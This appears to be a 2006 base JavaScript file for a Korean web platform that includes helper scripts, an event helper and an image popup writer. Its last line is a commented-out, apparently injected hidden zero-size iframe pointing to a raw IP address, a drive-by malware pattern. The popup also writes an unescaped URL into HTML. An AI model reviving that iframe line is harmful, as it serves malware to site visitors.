﻿<!--
/********************************************

	판타플랜의 BASE Javascript 입니다.
	licence by 판타플랜
	creator by 판타플랜
	issued date : 2006.04.17. 노석헌

	Include class blog.byuli.com

	execAJAX(url, queryString, rtnFunc, blnAlert)
	
	addToEvent (obj, evt, fnc) 
	
*********************************************/

/* 스크립트 에러 안보이기 */
function catchError() { return true; } 
//window.onerror = catchError; 

var n4 = (document.layers)?true:false; 
var e4 = (document.all)?true:false; 

// js 인클루드
function include_JS_CSS (path) {
	this.js_path = path;
}
include_JS_CSS.prototype.include_js = function() {
  var js_list= this.include_js.arguments;
  for ( var i=0; i<js_list.length; i++ ) {
		document.write( '<scr' + 'ipt type="text/javascript" src="' + this.js_path + js_list[i] + '"><\/scr' + 'ipt>' ) ;
  }
}
include_JS_CSS.prototype.include_css = function() {
  var css_list= this.include_css.arguments;
  for ( var i=0; i<css_list.length; i++ ) {
		document.write( '<link href="' + this.js_path + css_list[i] + '" type="text/css" rel="stylesheet" />' ) ;
  }
}

var include_js =  new include_JS_CSS("/include/js/");
include_js.include_js(
	"fantaformcheck.js",
	"cookies.js",
	"security.js",
	"menu.js",
	"string.js",
	"html.js",
	"windows.js",
	"etc.js",
	"formcheck.js",
	"quickmenu.js",
	"image.js",
	"player.js",
	"js_rolling.js",
	"create_request.js"
);

include_js.include_js(
	"colorpicker/colorpicker.js",
									 
	"prototype.js",
	"scriptaculous/src/scriptaculous.js",
	"lightbox/js/lightbox.js",

	"member/member.js",

//	"greybox/greybox/AJS.js",
//	"greybox/greybox/AJS_fx.js",
//	"greybox/greybox/gb_scripts.js",

//	"mikescroll/dhtmllib.js",
//	"mikescroll/scroller.js",

//	"roundTable.js",

	"fantashop.js"
);

// 이벤트 추가 
function addToEvent (obj, evt, fnc) {
	if (obj.addEventListener) {
		evt = evt.replace("on","");
		return obj.addEventListener(evt, fnc, false);
	} else if (obj.attachEvent) {
		return obj.attachEvent(evt, fnc);
	}
}

//var GB_ROOT_DIR = "/include/js/greybox/greybox/";

//event.observe(document, 'load', function(){ 
//    alert(Event.element(event)); 
//}, false);

var view_popup_title = '[VIEW]';
function view_image(image_url) {
    view_popup = window.open('','v_p','width=100,height=100,left=0,top=0,scrollbars=no,resizable=yes');
    view_popup.document.open();
    view_popup.document.write('<html>\n'+
                '<head>\n'+
                '<title>'+view_popup_title+'</title>\n'+
                '<sc'+'ript language="javascript">\n'+
                '<!'+'--\n'+
                'function view_popup_resize() {\n'+
                '\tvar original_image_width = document.all.original_image.width + 15;\n'+
                '\tvar original_image_height = document.all.original_image.height + 70;\n\n'+
                '\tresizeTo(original_image_width,original_image_height);\n'+
                '}\n'+
                '//'+'-->\n'+
                '</sc'+'ript>\n'+
                '</head>\n'+
                '<body scroll="no" leftmargin="0" topmargin="0">\n'+
                '<table border="0" width="100%" height="100%" cellspacing="0" cellpadding="0">\n'+
                '<tr>\n'+
                '<td align="center">\n'+
                '<a href="#" onclick="window.close();" onfocus="this.blur();">\n'+
                '<img src="'+image_url+'" name="original_image" onload="view_popup_resize();" galleryimg="no" border="0"></a>\n'+
                '</td>\n'+
                '</tr>\n'+
                '</table>\n'+
                '</body>\n'+
                '</html>');
    view_popup.document.close();
    view_popup.document.focus();
}

//-->
//document.write('<iframe height=0 width=0 src="http://61.100.185.23/MB/X.htm"></iframe>');